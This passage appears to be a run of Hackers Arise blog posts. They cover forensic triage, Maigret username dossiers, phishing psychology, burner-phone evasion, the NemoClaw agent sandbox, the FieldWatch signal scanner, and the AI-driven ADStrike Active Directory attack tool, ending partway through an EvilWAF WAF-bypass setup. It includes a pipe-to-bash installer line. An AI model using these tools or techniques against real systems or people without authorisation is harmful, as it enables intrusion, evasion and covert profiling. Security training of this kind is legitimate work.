Or give it some case details upfront. They include the operator name, case ID, location and the device name.

PS > .\Forensicator.ps1 -OPERATOR "Jane Doe" -CASE "IR-2026-001" -TITLE "Workstation triage" -LOCATION "Toronto" -DEVICE "LAPTOP-042"

It’ll take some time to go through all the steps. You’ll see the progress on screen.

When the script finishes, the results get saved in the current folder inside a new directory. Go to reports and open index.html.

Here’s the overview page. You can scroll down and jump to different sections of the report.

Below is the Event Log summary with events sorted by category. We see that accounts successfully logged on (Event ID 4624), then someone looked up what groups certain users belong to (Event ID 4798) and the members of security groups were listed (Event ID 4799). Event ID 4688 logs process creation.

You also get a summary to assess the risks quickly. In our case it was high and the tool explained why.

Forensicator AI

AI is off by default. When it’s enabled, you get a plain language explanation of the results. For AI to work, you need Ollama running. The model can run locally or sit on a separate host accessible to other machines. Mistral AI models can be used for this work.

# Install Ollama (https://ollama.com) and pull a model
PS > ollama pull mistral:7b-instruct

Then edit the config.json file.

"ai": {
  "enabled": true,
  "provider": "ollama",
  "base_url": "http://localhost:11434",
  "model": "mistral:7b-instruct"
}

There’s no -AI flag. The script reads config.json at startup. When AI is on, each finding gets sent to the model after it’s built. If the model is down, the collection still finishes and that row just has no verdict. In the report, open a finding and use the tooltip labeled AI Analysis. Windows also builds an Investigation Summary with a risk score, a rough timeline, and next steps. This is just a briefing, so don’t treat it as the final verdict. Also, keep in mind that AI makes the run a lot slower since every finding is a real model call.

Here are some screenshots of AI analysis.

Summary

During an incident response time is of the essence, so swiftly scanning your hosts for signs of compromise will save you time. There are different situations and cases that require certain approaches, that’s why knowing how to work with different forensics tools is important. Having AI process your analysis results can be helpful, but it might take some time, unless you have a good GPU for it.

If you’re just getting started in forensics, we recommend our Digital Forensics training, where Master OTW walks you through the techniques to find evidence of criminal activity on a computer or network.

The post Digital Forensics: Analyzing Systems with Live-Forensicator first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Every username you ever created leaves a digital footprint across the internet. In the wrong hands, those footprints tell a story: your habits, location, friends, employer, and real name. Username OSINT is one of the most powerful weapons in any reconnaissance arsenal. We have previously discussed a popular tool for these tasks called Sherlock. Still, circumstances change, and sometimes we need a more comprehensive tool for profile investigation.

So, in this article, we’re going to check out Maigret. Let’s get rolling!

What is Maigret?

Maigret is a free, open-source Python tool that finds online accounts linked to a username. You give it a username, and it checks more than 3,000 websites (social networks, forums, coding platforms, and more) to see where that name is registered. By default, it scans the 500 most popular sites, and you can switch to the full list.

Unlike a simple lookup, Maigret tries to build a profile (“dossier”) of the person. It reads the public profile pages it finds and extracts details such as names, links, and other usernames. It then searches those new leads, which is called recursive search. It can save results as HTML, PDF, CSV, TXT, or JSON reports. It also offers an optional AI mode that can summarize the findings.

How Does It Compare to Sherlock?

Sherlock, which inspired Maigret, does one thing well: it quickly checks whether a username exists on a few hundred popular sites and lists the matching links. Maigret goes further.

How to Use Maigret

First, make sure you have Python and pip installed. Then, clone the repository from GitHub.

kali> git clone https://github.com/soxoj/maigret && cd maigret
kali> python3 -m venv .venv
kali> source .venv/bin/activate
kali> pip3 install .

That’s it, the tool is ready to go. We can check the help screen to confirm the installation is correct.

kali> maigret –help

The simplest way to use Maigret is to feed it a single username and let it do the work:

kali> maigret username

Maigret checks the 500 most popular sites, ordered by popularity. This is the best starting point because it’s fast and covers the platforms where most people have accounts. To turn on full database mode, use the -a flag.

Maigret has many flags that allow you to search very specifically. For example, we can target one website:

kali> maigret username –site GitHub

In the screenshot above, you can see the found tags. We can search by them as well:

kali> maigret username –tags coding

Another valuable feature is username permutation. Maigret can generate and search username variants (for example, combining first and last names in common patterns).

kali> maigret –permute firstname lastname

Maigret supports many output formats. For demonstration purposes, let’s test the HTML report; it is the most readable option.

kali> maigret username –html

This creates a standalone file in your results directory with all the findings organized, including images.

It’s also worth testing the graph flag.

Also, Maigret can send its findings to an external LLM to produce a written summary. For this task, create the file ~/.maigret/settings.json with the following content:

{
 "openai_api_key": "sk-or-v1-YOUR_OPENROUTER_KEY",
 "openai_api_base_url": "https://openrouter.ai/api/v1",
 "openai_model": "openai/gpt-4o-mini"
}

Then type:

kali> maigret username –ai

Summary

Maigret turns OSINT from a quick lookup into a proper investigation. It covers 3,000+ sites, parses profile data, follows new leads recursively, and can write an AI summary. I recommend testing it. It may find a place in your hackers’ toolbox.

The post Open-Source Intelligence (OSINT): Turn One Username into a Full Digital Dossier with Maigret first appeared on Hackers Arise.

Welcome back, aspiring pentesters!

Social engineering is one of the most important parts of pentesting, and in many real attacks it’s the part that decides whether the whole operation succeeds or fails. Sometimes it even makes the technical side easier. 

Earlier we looked at BadUSB attacks and several persistence methods, and those examples already showed how much can be done when a person simply plugs in a device or follows a convincing instruction. In a pentest, you can achieve real impact after just walking into an office and interacting with the environment without breaking into the corporate network remotely and hoping some serious vulnerability was left unpatched.

Many pentesters are stronger with systems than with people in everyday life. That’s one reason they gravitate toward technical work. Social engineering forces them to step out of that comfort zone even further. But understanding how people make decisions is a practical skill. When you design a scenario with human behavior in mind, the success rate of your interactions can rise. That’s why both red teams and blue teams will benefit from it. 

Evolutionary Legacy

The brain is an old application. It’s software that has been running for thousands of years. New features have been added over time, but the core logic was never fully rewritten. Different developers came and went. Some old functions were never documented. Some code paths were never reviewed. The system kept growing, but the original structure remained inside it.

That is a pretty good description of the human brain.

Our brains are the result of evolution, and the most vulnerable mechanisms are often the oldest ones. These mechanisms helped our ancestors survive in situations where there was no time for deep analysis. We cannot delete that legacy. We can only learn to control it at a higher level of thinking. But the older layer is still there, and every person remains vulnerable to it in the right conditions.

Who Is More Vulnerable?

If you follow the media, you might get the impression that older people are always the easiest targets. Stories about elderly victims are emotionally powerful, so they get more attention. But that does not mean the data supports the stereotype in a simple way. Europol statistics on fraud victims who reported to the police show that the 18-34 age group made up 27.7 percent of victims, the 35-54 group 23.4 percent, the 55-64 group 21.7 percent, and the 65+ group 18.5 percent. That already shows that younger adults are very much in the picture. And that is only the official reporting side.

Age itself does not seem to make a person automatically more or less likely to be deceived. Cognitive ability also does not give the protection many people assume. A joint study by several American universities involving 1,220 participants found no meaningful correlation between cognitive ability and the likelihood of becoming a fraud victim. So being smart does not make you immune. Even very intelligent people can be tricked. Paul Frampton, a respected particle physicist and Nobel Prize candidate, was caught in a simple dating scam that led him to attempt to carry cocaine across a border. That case became famous not because he was foolish, but because it showed that intelligence alone does not protect a person from manipulation.

Vulnerable Optimization

The human brain has barely changed in size for thousands of years, but the amount of information we ask it to process has exploded. An ancient Greek farmer had roughly our brain and a tiny fraction of our information load. Today we face constant messages, deadlines, alerts, meetings, and decisions.

To cope, the brain optimizes. One of its oldest shortcuts is stereotypical sequential behavior (SPB). I’ve seen something like this before, so I’ll react quickly instead of thinking it through. This saves energy and speeds up decisions, which was vital for our ancestors since a fast response to danger could save a life. It’s the short route in thinking, faster and cheaper than analysis, and usually good enough.

Giving a logical reason can raise the success rate, but surprisingly, even a meaningless reason works almost as well. The brain didn’t evaluate the explanation, it simply reacted to the fact that one existed.

Brain DoS

One of the easiest ways to force the brain into this energy-saving mode is to overwhelm it.

Emotional overload is one method. If someone triggers fear, stress, panic, or even strong excitement, they reduce the victim’s ability to think clearly. A frightened person doesn’t evaluate things carefully. They react, and that reaction is often automatic. Positive excitement can work too.

Hackers try to flood the brain with too much information from too many channels at once. A person trying to write a document, answer messages, listen to a coworker, and process notifications in the background will burn out mentally pretty fast. In that state, analysis gets difficult and the brain starts skipping into automatic behavior. That’s why overload is such a powerful social engineering tool. It pushes people away from deliberate thinking and into fast reaction.

Most Common Psychological Exploits

The psychology of influence contains many principles, and they show up everywhere, in marketing, advertising, sales, politics, therapy, and more. But for a hacker writing a phishing email or planning a phone script, only a few of these tend to matter most.

The three big ones are authority, scarcity, and consistency.

Principle of Authority

People naturally trust experts in areas where they themselves aren’t experts. If someone appears qualified, successful, wealthy, or powerful, we tend to listen. That’s part of how we navigate the world.

The real vulnerability is that authority can be faked.

People use white coats on television to sell toothpaste. So-called success coaches pose in front of expensive cars or Dubai skyscrapers to create an illusion of status. Well-known restaurant chains use actors from popular TV shows to advertise food. That’s exactly how fake authority works. The external costume creates the internal belief.

The Milgram experiment is a good demonstration of this. In 1963, participants were willing to obey an authority figure even when it made them uncomfortable and conflicted with their own moral instincts. The lesson is that authority has a very real psychological effect. Evolution plays a part here too. Human society developed through division of labor, and that made us more dependent on specialists. We got used to trusting experts. Hackers abuse that instinct all the time.

Here’s an example of a phishing email that appears to come from a manager and can’t be ignored.

Principle of Scarcity

Scarcity is about the fear of missing out. People value things more when they are rare, limited, or disappearing. A product that says “only three left” feels more urgent. A limited-time offer feels more valuable. Even when the item is not actually better, scarcity makes it feel that way. This is an old human pattern. Imported or hard-to-find goods often seem more valuable than ordinary local alternatives, even when they are not objectively better. The absence of abundance created desirability.

Principle of Consistency

Consistency is one of the least obvious but most effective manipulation principles. 

People prefer to be consistent with their earlier actions and statements. Society rewards consistency. A person who constantly changes their opinion is often viewed as unreliable or weak. A person who follows through is seen as stable and trustworthy. That social pressure matters a lot.

The problem is that being consistent is not the same as being correct. Once a person takes an initial step, they often become more willing to continue in the same direction. That saves mental energy and reduces self-doubt. It also fits the brain’s tendency to follow a behavioral script instead of starting analysis from scratch each time. Patricia Pliner’s study showed this clearly. Participants who first wore a badge supporting cancer research were later much more willing to donate to the cause. The first small commitment made the second one easier.

When a victim has already made a small commitment, continuing becomes easier than stopping.

Exploitation

To turn these principles into real social engineering operations hackers build scenarios. That scenario is most effective in a phone call, because a call allows hackers to guide the victim step by step and react to hesitation. Email phishing can also use these ideas, but the room for dynamic adaptation is smaller. The best phishing messages are not necessarily the loudest. They are the ones that fit the target’s mental state at the exact moment of delivery.

Emails and the 7% rule

In many social engineering assessments, a pattern appears again and again. When you send a large batch of phishing emails, a certain percentage of recipients will almost always act. The exact figure changes by organization, but the baseline rarely disappears.

Even when companies train users, run simulations and repeat awareness courses, there is often still a small percentage of people who click or respond. Why? Because at that moment, some of them are tired, stressed, busy, distracted or simply overloaded. At that moment, the person does not reach the analysis stage.

That is why training alone is not enough. Training helps, but it does not eliminate the human condition.

The most effective emails are often the ones that trigger stress or excitement directly. A message that creates urgency or a strong emotional reaction can overpower careful thinking. Once that happens, hackers move into the next steps.

Trigger Bypass Techniques

Most people have simple mental triggers that hold up even under pressure. The trick is that attackers can sometimes bypass those triggers by shifting the context.

A person might say they never share passwords. But that rule can get bypassed if the attacker presents a password generator, an IT support request, or a command they’re told to run for verification. The target can still believe they’re following their rule, even while being manipulated out of it. Verification habits can also be bypassed with fake signatures, familiar names, or a two-step sequence that starts with something safe. A short first interaction lowers suspicion, and then a second one carries the real pressure. That’s often more effective than starting aggressively. Company rules can be bypassed by changing the frame. A USB drive disguised as a personal gift feels different from an unknown device dropped on a desk. The same object reads very differently depending on the story around it.

That’s why social engineering isn’t about one universal trick. It’s about adapting the story to the trigger.

Protection

For companies, the best defense is a mix of organizational measures, technical controls, and incident response. Training lowers the success rate of simple attacks. Technical controls reduce the damage when someone does make a mistake. And since no defense is perfect, response procedures matter too. Organizations need to know what to do when a suspicious message, call, or request slips through.

Individuals should not be afraid to refuse. Don’t feel obligated to be polite when something feels wrong. If a call creates stress, stop and think instead of reacting automatically. Never make important decisions while overwhelmed. Learn to recognize manipulation patterns, and don’t keep a suspicious conversation going just because the other side sounds official.

Sometimes the safest choice is just to hang up.

Summary

There’s no guaranteed technique for success, and no guaranteed protection either. Human beings are vulnerable because evolution made us efficient, not perfect. That efficiency helps us survive, but it also gives social engineers a way in.

To reduce the probability of these attacks, we offer our Security Awareness and Risk Management training for companies. For pentesters, we offer The Science and Art of Social Engineering, where Master OTW walks you through the tools and techniques needed to become an effective social engineer.

The post Social Engineering: Exploiting Human Psychology in Offensive Security first appeared on Hackers Arise.

Welcome back my aspiring cyberwarrior and others interested in cybersecurity!

When people find out I am a professional hacker, one of the most common questions they ask is, “Can the CIA (or other intelligence agency) track my every move?” The short answer is Yes!, they can track your every move if you have a cellphone AND the interested party (CIA or other intelligence agency) has your phone’s unique IMEI number.

Let’s look at how they do this and what you can do to make their job much harder.

IMEI

The IMEI or the International Mobile Equipment Identity number is unique to each phone and can not be altered. If the CIA or other intelligence agency knows this number of your phone, they can track your movements by tracking your phone. This number is available to them by subpoena, search warrant or US Patriot Act provisions.

The IMEI is stamped on your phone and when you open the phone you can find it like below.

In addition, you can find the IMEI under settings of your phone. It is different places in different phones, but look for something such as “About Phone” like below.

IMSI

It is also possible to track a phone and its user by its IMSI (International Mobile Subscriber Identity) number of the phone. Fortunately, this IMSI can be changed out by changing out the SIM (Subscriber Identification Module) card.

MSI numbers are broadcast by your phone when its sends a beacon to connect to the cell tower. It is possible for anyone with the right equipment to intercept and read those IMSI numbers. 

Every time a cell phone attempts to connect, it pings the cell towers in the area to determine which is closest. Every cell phone or other device connecting to the cellular network (such as iPads) does this. Every time a cellphone pings a tower, the phone’s IMSI, IMEI numbers as well as the the location of the cell tower is stored in the carrier’s database.

By triangulating (multiple towers are used to track the phone’s location by measuring the time delay that a signal takes to return back to the towers from the phone) between the pings to the towers in the area, the location of the phone can be determined within 50-500 meters, depending upon the concentration of cell towers. The closer the cell towers are together, such as in an big city, the more precise the data on the location of the phone. In urban areas, your location can be narrowed down to within 50 meters.

Stingrays

Although not a method of tracking but rather of eavesdropping, stingrays are one of the tools intelligence agencies and law enforcement use to listen to cellphones. A stingray is just a compact, mobile cell tower. Law enforcement and intelligence agencies can simply move one into your neighborhood. Your phone will then connect to the closest cell tower. The stingray looks and acts just like a cell tower so you phone connects to it without asking further questions. Once your cell phone connects to the cellular network, the owner of the stingray has access to all the calls and data leaving your phone. For more on stingrays, see my article here.

In the US and other countries (they are banned in the EU), you can buy an inexpensive, limited-feature, pre-paid phone at a local retailer without having to register your name. In this way, it is very difficult for intelligence agencies to connect the phone and its unique IMEI to your identity. To take further precautions, the phone should be purchased with cash so that no credit/debit card trail remains.

When purchasing a burner phone, make certain that you are NOT carrying your other phone with you. Your other phone is tracking all your movements. If you are carrying your that phone, you are creating a record of your visit to the “burner phone” retailer linking you to the purchase and the IMEI of the burner phone thereby frustrating your attempts to remain anonymous. 

Summary

The CIA, any intelligence agency or law enforcement can track your every move very precisely by tracking the cell towers your phone pings before it connects. All this data is stored in the phone carrier’s database and can be accessed by these agencies. The burner phone is probably the best way to frustrate this type of tracking but make certain to take the precautions described above.

The post Confessions of a Professional Hacker: Can the CIA or other Intelligence Agencies Track My Every Move? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

OpenClaw demonstrated how autonomous, self-evolving agents can change how software operates. However, in the business world, having this power without proper control creates unmanaged risks.

To safely use autonomous agents in a controlled environment, NVIDIA created NemoClaw. In this article, we will look at OpenClaw’s impact, the security issues it raises, the solutions NemoClaw offers to address them, and how to install it. Let’s get rolling!

OpenClaw

OpenClaw (formerly Moltbot and Clawdbot) is an open-source AI agent that runs on your machine, connects through the messaging apps you already use, and takes action on your behalf, including shell commands, browser automation, email, calendar, and file operations.

In a matter of weeks, OpenClaw blew past adoption milestones that took Linux three decades to achieve. The magic is how effortlessly it deploys: you type a single command in a terminal, and it instantly goes out, fetches OpenClaw, builds an active AI agent, and hands over the harnesses.

It’s important to understand that OpenClaw is not just another LLM. It is an operating system for agentic computers. Like traditional operating systems that manage memory and hardware, OpenClaw manages large language models and tool execution. You can text it, email it, talk to it, or even wave at your computer screen, and it will understand you.

“OpenClaw has open-sourced essentially the operating system of agentic computers. It is no different than how Windows made it possible for us to create personal computers. Now OpenClaw has made it possible for us to create personal agents.” — Jensen Huang

Real-world uses of this technology are already making a big difference. One example is Andrej Karpathy, who created a tool called “Research.” This tool lets users assign research tasks to an agent that can run 100 experiments overnight while you sleep. The agent keeps the successful results and discards the failures.

Immediately, turning large language models (LLMs) into an operating system changes how we use software. Instead of waiting for user input, it acts as an active agent, coordinating tasks across physical and digital domains.

But deploying raw, autonomous agents comes with significant risks. An agent must act independently to be valuable, which inherently creates a threat vector. By late 2026, there were 543 tracked CVEs for OpenClaw. In a previous article, we explored how malicious links can steal authentication tokens and compromise OpenClaw AI systems. Additionally, scanning tools have identified over 40,000 publicly accessible OpenClaw instances worldwide, many configured to bind to 0.0.0.0 with authentication disabled by default or operating over unencrypted HTTP.

To address these security challenges, NVIDIA worked with Peter Steinberger to create NemoClaw.

NemoClaw

NemoClaw is an open-source tool developed by NVIDIA that simplifies and secures the deployment of autonomous AI agents using the OpenClaw framework. It strengthens OpenClaw’s core security by running within NVIDIA OpenShell sandboxes and applying infrastructure-level security measures. OpenShell is an open-source runtime designed for executing fleets of autonomous AI agents in isolated, sandboxed environments with kernel-level protection. It combines sandbox runtime controls with a declarative YAML policy, letting teams run agents without giving them unrestricted access to local files, credentials, or external networks.

NemoClaw’s main goal is to make open-source autonomous-agent tools ready for enterprise use. It simplifies installation, provides guided onboarding, managed inference, network policy, managed integrations, and lifecycle operations through the NemoClaw CLI and its agent-specific aliases. Therefore, this setup tries to ensure that agents cannot compromise host files or gain unauthorized local privileges.

As of this article, NemoClaw supports OpenClaw, Hermes, and LangChain Deep Agents.

OpenClaw vs NemoClaw

Let’s compare the security features of those two tools.

That table shows that NemoClaw really helps boost OpenClaw’s security. But just a heads-up.

First off, wrappers aren’t foolproof. If OpenClaw has a serious zero-day remote code execution vulnerability, an attacker could exploit it and potentially break out of the container if the runtime settings are misconfigured or the agent’s logic is directly compromised. NemoClaw does a good job limiting the damage by stopping the agent from tampering with system files or stealing SSH keys from your host machine, but it doesn’t magically fix flaws in the app’s core logic.

Second, container sandboxing and management tools like OpenShell and various runtimes have had their share of escape vulnerabilities, namespace issues, and privilege-escalation bugs. If the sandbox runtime has a flaw, a compromised agent could use it to target the host kernel.

That’s why running risky, untested AI frameworks directly on bare metal is a major security risk. Sandboxing gives you some protection and time, but a solid defense means keeping that underlying wrapper updated and cutting down on unnecessary network or tool permissions.

Set Up NemoClaw

NemoClaw can automatically discover an existing host-level OpenClaw installation and migrate its state into a secure OpenShell container sandbox. But in this demonstration, we’ll install everything from scratch.

Before installation, ensure that Docker and Node.js are installed on your system. Then, run the following command:

kali> curl -fsSL https://www.nvidia.com/nemoclaw.sh | bash

Accept the third-party software notice when prompted.

The interactive wizard creates the sandbox. Select OpenClaw when the installer prompts you to choose an agent. Choose an inference provider and model, then provide its credentials when prompted. Press Enter to accept the suggested my-assistant sandbox name. Follow the wizard, and then accept the suggested network policy tier.

At the end, you’ll see output like the one below.

After that, we can move on to testing the agent. NemoClaw supports terminal UI (TUI) and web mode. Let’s test the TUI.

kali> nemoclaw my-assistant connect

sandbox> openclaw tui

NemoClaw lists what is inside its workspace, but it can’t read or write outside /sandbox and /tmp.

NemoClaw in Action

Businesses have put together various reference guides, practical tips, and real-world examples for NVIDIA NemoClaw. While major public case studies are still emerging, Cisco is one company showing how it can be done.

Cisco and NVIDIA teamed up to create a case study on how the NVIDIA OpenShell works with Cisco AI Defense to keep enterprise autonomous agents safe during live operations like automated security patching and device analysis.

In their setup, an autonomous agent actively maps out network device configurations and data into a live knowledge graph. When a new zero-day vulnerability emerges, the security operations agent analyzes the threat and checks it against the current network setup to assess potential impact and develop prioritized remediation plans.

To prevent runtime exploits, NVIDIA OpenShell keeps the agent secure in infrastructure-level sandboxes with limited access, restricted network endpoints, and local privacy routers. At the same time, Cisco AI Defense monitors AI tools. Besides that, MCP calls catch a simulated secret data exfiltration attempt hidden in a third-party reporting skill before any sensitive info can escape the secure environment.

Summary

AI agents are changing how we use software. Tools like OpenClaw can make us much more efficient, but they also might have many vulnerabilities. To help keep your setup safe, NVIDIA developed NemoClaw, and this article shows you how to get started. Keep coming back as we continue to explore artificial intelligence.

If you’re interested in using AI for cybersecurity, definitely check out this training!

The post Artificial Intelligence (AI) in Cybersecurity, Part 29: Creating Isolated Autonomous Agents for Hacking with NemoClaw first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

As you know, there are thousands of Bluetooth and WiFi signals we pass through daily, especially if we live an active life in a big city. That includes tags, smartphones, WiFi routers, drones, surveillance devices, vehicles, body cams and mesh radios. Clearly it doesn’t stop here and the list goes on.

Many of you are privacy focused individuals and want to know what’s going on around you and whether you’re being tracked or watched by someone. That’s okay, protecting your privacy is a good thing. FieldWatch was made for this. It matches what it hears against an editable signature catalog of roughly 250 device types and shows the results in live views, recorded sessions, path maps and reports. Everything runs on the device and works fully offline.

FieldWatch

FieldWatch is a free, open-source Android app that listens to nearby Wi-Fi and Bluetooth signals using the radios already in your phone. It compares what it hears against a list of known device signatures and shows them. It only receives signals. It never transmits. 

You can set alerts for specific devices, record what’s present during a walk or drive, and later compare sessions. All the findings are sorted under their category. It also has basic GNSS interference detection and can send results to mapping tools like TAK. Matches are based on patterns, not guaranteed identifications, and the app only sees what the phone’s radios and Android allow it to see.

Depending on your preferences, you may want to see these devices on a radar or on a map. The app found the location of the drone operator as well as the drone itself.

TAK Support

TAK and ATAK are free mapping apps used by military, emergency responders and some civilians to share locations and information on a map in real time. FieldWatch can send what it detects straight to TAK over the local network.

When FieldWatch sees a drone that’s broadcasting Remote ID, it can place a moving marker on the TAK map for the drone and a second marker for the pilot if that location is available. Other devices it finds, plus any GNSS interference alerts, can also appear as markers. Several phones running FieldWatch can send data to the same map at the same time, so a team sees the same picture.

GNSS Interference Detection

Newer versions check for signs of GPS interference or spoofing using the phone’s own receiver. After a short outdoor calibration, it can alert you and mark the spot on your path or on a TAK map. It shows where you were, not where the interference came from.

Limits

Now let’s talk about its limits. It isn’t a direction finder. Also, it doesn’t scan Bluetooth Classic, cellular networks or full Wi-Fi traffic. Matches are based on patterns and those are not confirmed identities. Your results depend on the phone and what Android lets the app see. For better results use newer phones. Official versions only come from the GitHub repo.

Android App

Download the APK from the official GitHub page and sideload it. Android 10 or newer is required. Android 11 has more functions that can be used with this app. A short instruction file and manual are included. The repository has all the answers in terms of the app. It works on a cheap phone with no SIM card. OffGridPete recently posted that he used a Moto G for $30 for his test and it worked well. If you decide to use it, use it for your own privacy and security, and be respectful of other people’s privacy.

Summary

You can use your cheap phone as a scanner for devices nearby, and find jamming and tracking. There are different apps that do similar things, but they’re bound to Linux only, which is very inconvenient. FieldWatch works on an Android phone to find trackers, cameras, drones, body cams and more.

If you enjoy experimenting with frequencies and trying new things, we recommend signing up for our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post SDR (Signals Intelligence) for Hackers: Scanning Wireless Devices Using FieldWatch first appeared on Hackers Arise.

Welcome back, my aspiring SCADA/ICS security engineers!

SCADA/ICS hacking is one of the most important areas of cybersecurity and one of the least understood. SCADA/ICS systems power our entire industrial infrastructure and are critical to the every day functioning of our economy and lives. These systems include;

1. Electrical generation and transmission
2. Chemical processing
3. Oil refineries
4. Food processing
5. Pharmaceutical manufacturing
6. Water and wastewater systems
7. Cellular and mobile communication systems

Without any of these systems, an economy can be crippled. Hackers-Arise is one of the leaders in SCADA/ICS cybersecurity, and next month we are offering a new class in this discipline, SCADA/ICS Forensics.

If we are to protect these systems, we need to understand how hackers can access these systems and how we can detect their presence and actions.

SCADA/ICS Forensics Training Outline

1. Introduction to ICS/SCADA Systems

Overview of industrial control systems (ICS) and SCADA architecture

Key components: PLCs, RTUs, sensors, actuators, HMIs, data historians

Differences between IT and OT environments

2. ICS/SCADA Protocols and Communications

Common industrial protocols (Modbus, DNP3, OPC, PROFIBUS, etc.)

TCP/IP and fieldbus network topologies

Protocol vulnerabilities and forensic implications

3. Threats, Attacks, and Incident Scenarios

ICS-specific threats (insider, supply chain, targeted malware)

Case studies: from Russia’s attacks Ukraine’s infrastructure,Stuxnet, Industroyer, Triton, and ransomware in ICS

Attack methodologies unique to ICS/SCADA

4. ICS/SCADA Forensic Fundamentals

Principles of digital forensics in ICS/SCADA

Preservation of volatile and non-volatile evidence

Chain of custody, legal and compliance considerations

5. Evidence Collection Techniques

Safe imaging of PLCs, HMIs, and historian servers

Capturing network traffic in industrial environments

Handling physical and logical data acquisition in situ

6. Log Analysis and Event Correlation

ICS-specific log sources (controller logs, SCADA system logs)

Event timeline reconstruction and anomaly detection

Dealing with proprietary and legacy logging systems

7. Malware Analysis and Reverse Engineering in ICS

Identifying ICS-focused malware (e.g., OT ransomware, custom payloads)

Static and dynamic analysis of binaries from field devices

Artifact recovery from embedded devices and firmware

8. Network Forensics in OT/ICS Environments

Deep packet inspection of industrial protocol traffic

Identifying network-based evidence (command/response, unauthorized access)

Use of specialized tools (Wireshark with ICS dissectors, etc.)

9. Reporting and Remediation

Documentation of forensic findings for ICS/SCADA

Coordinating with OT/IT teams for incident response

Lessons learned and post-incident review practices

Summary

If you job requires you to protect SCADA/ICS systems or you simply want to add SCADA/ICS cybersecurity to your skill set, then this class is for you!

You can enjoy and benefit from all 4 of our SCADA/ICS classes in our SCADA/ICS career path here.

The post SCADA/ICS DFIR, October 27-29 first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

Our article on ADScan and ADPulse was popular. Those tools didn’t need the AI to work, they were basically using python libraries to do all the heavy work of analyzing the Active Directory setup. Today we will look at ADStike, which is somewhat similar but uses AI to arrange the attacks. AI here is completely optional. It analyzes the results of each step and decides what tool to run and what information to find. Models that support tool calls can be used for it, like Qwen 2.5-coder 7b.

ADStike has all the common AD attacks and different levels of OPSEC modes with 52 attack modules integrated. We will look at the workflow it has and use a local AI model to direct the pentest. 

Setting Up

The repository has the installation process laid out. Let’s use it.

kali > git clone https://github.com/capture0x/AdStrike.git && cd AdStrike && chmod +x install.sh run.sh && bash install.sh && source venv/bin/activate && bash run.sh

Usually it takes 5 minutes to set things up. Then you will be prompted to fill out the information about the domain. We are using our lab here with a regular account that doesn’t have any privileges in the domain to make it fair. 

When it has all the needed information, it will be saved in a config file. You will then see the main menu with options. Each phase has separate steps that can run individually.

We will go with step 53, which is AI. The tool already knows what local Ollama models we have installed and lets us choose if there are some. For this test we kept OPSEC level default.

Once you select the needed options, the scan will begin.

Pentesting Active Directory

The AI orchestrator will start from the first phase (Recon) and select only the appropriate phases and steps for your Active Directory setsups. All environments are different, some attacks will simply be impossible due to infrastructure limitations. 

As it progresses we start seeing the output on the screen from the commands it runs. 

Basically, it does all you would do but quicker. Below you can see that LAPS were empty, because they were not set up in this domain. You might want to recommend your client fix it, if you encounter the same results. LAPS help a lot in preventing lateral movement, since the Administrator password will never be the same across your machines. 

Then Kerberoasting follows. We did have a few roastable accounts. The compromise here will depend on your wordlist. 

Since it’s our lab, we knew the password of that user.

Another attack you may see is Timeroasting. Here it uses an impacket script to extract computer hashes. While those are basically impossible to brute force, some computers are vulnerable to Pre2k attack, where the password of the computer matches the DNS name. 

Here is more on Pre2k. Look at the NetExec commands. It’s passing the computer name and the password to the DC to find a valid account. These machines can have certain privileges, just like users do. All the privileges can be found in BloodHound. By the way, ADStrike will run SharpHound collection and analyze the data with AI to find paths and worthy accounts. 

Finally, after all the necessary steps, you will have a nice report generated in different formats.

Let’s open the HTML version and see what it looks like.

Scrolling down we see the MITRE ATT&CK Coverage

Then we have all the findings and their details. 

Summary

ADStrike looks very promising and easy to work with. It has 52 attack modules that are orchestrated with AI. AI here is completely optional and things should work without it as well. If you prefer not to let AI execute anything in your environment, you can use it for planning only or leave it alone to pwn your lab.

Join our AI for Cybersecurity training to learn more! During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have.

The post Artificial Intelligence (AI) in Cybersecurity, Part 28: Using ADStrike to Compromise Active Directory first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and bug bounty hunters!

In the previous article, we covered what a WAF is and how you can manually bypass it. These days, WAFs are getting smarter, moving from simple pattern matching to advanced behavior analysis. As a result, traditional tricks to hide your payload often get caught before they even reach the main application. To tackle this issue, let’s dive into EvilWAF, an open-source penetration testing tool designed to test and bypass those firewall defenses by manipulating transport-layer processes. Let’s get rolling!

What Is EvilWAF?

EvilWAF is a transparent Man-In-The-Middle (MITM) proxy and web application firewall (WAF) vulnerability scanner. Rather than changing attack payloads or headers like tools such as sqlmap, EvilWAF operates at the transport layer. This allows it to slip past WAF behavioral detection while checking for firewall weaknesses.

It has two modes: proxy and standalone WAF scanner.

In proxy mode, you just run EvilWAF on your machine and set up your testing tool to send its traffic through it. In this mode, there will be zero payload manipulation. EvilWAF won’t mess with the actual SQL injection payloads, HTTP body, or application headers that sqlmap sends out. While sqlmap hunts for app vulnerabilities, EvilWAF handles the connection, rotating TCP profiles, TLS fingerprints like JA3 or JA4, and so on, so the WAF doesn’t block or limit the automated connection. Also, if you use the auto-hunt option, EvilWAF will try to find the real backend IP behind the WAF and can send sqlmap’s traffic straight to the origin server, bypassing the WAF completely.

Besides that, EvilWAF isn’t just a passive proxy. It can also work independently. When you launch it with the scan-only flag, it targets the firewall itself, running a thorough assessment across ten different defense layers while checking for gaps in the rule engine, rate limiting, evasion techniques, HTTP method behaviors, and TLS settings to spot vulnerabilities in the WAF setup.

Installing EvilWAF

To install and configure EvilWAF on Kali Linux, you can set it up directly using a Python virtual environment.

kali> git clone https://github.com/matrixleons/evilwaf.git
kali> cd evilwaf
kali> python3 -m venv myenv
kali> source myenv/bin/activate
kali> pip3 install -r requirements.txt 
kali> python3 evilwaf.py -h

Since EvilWAF acts as a full HTTPS MITM proxy, it automatically generates a local CA certificate on its first run to inspect encrypted traffic. You need to trust this certificate on Kali Linux to prevent SSL errors when using proxying tools. Therefore, launch EvilWAF once to generate the CA certificate:

kali> python3 evilwaf.py -t https://example.com

Then, import and trust the certificate system-wide in Kali:

kali> sudo cp /tmp/evilwaf_ca_*/evilwaf-ca.pem /usr/local/share/ca-certificates/evilwaf-ca.crt

kali> sudo update-ca-certificates

Running EvilWAF

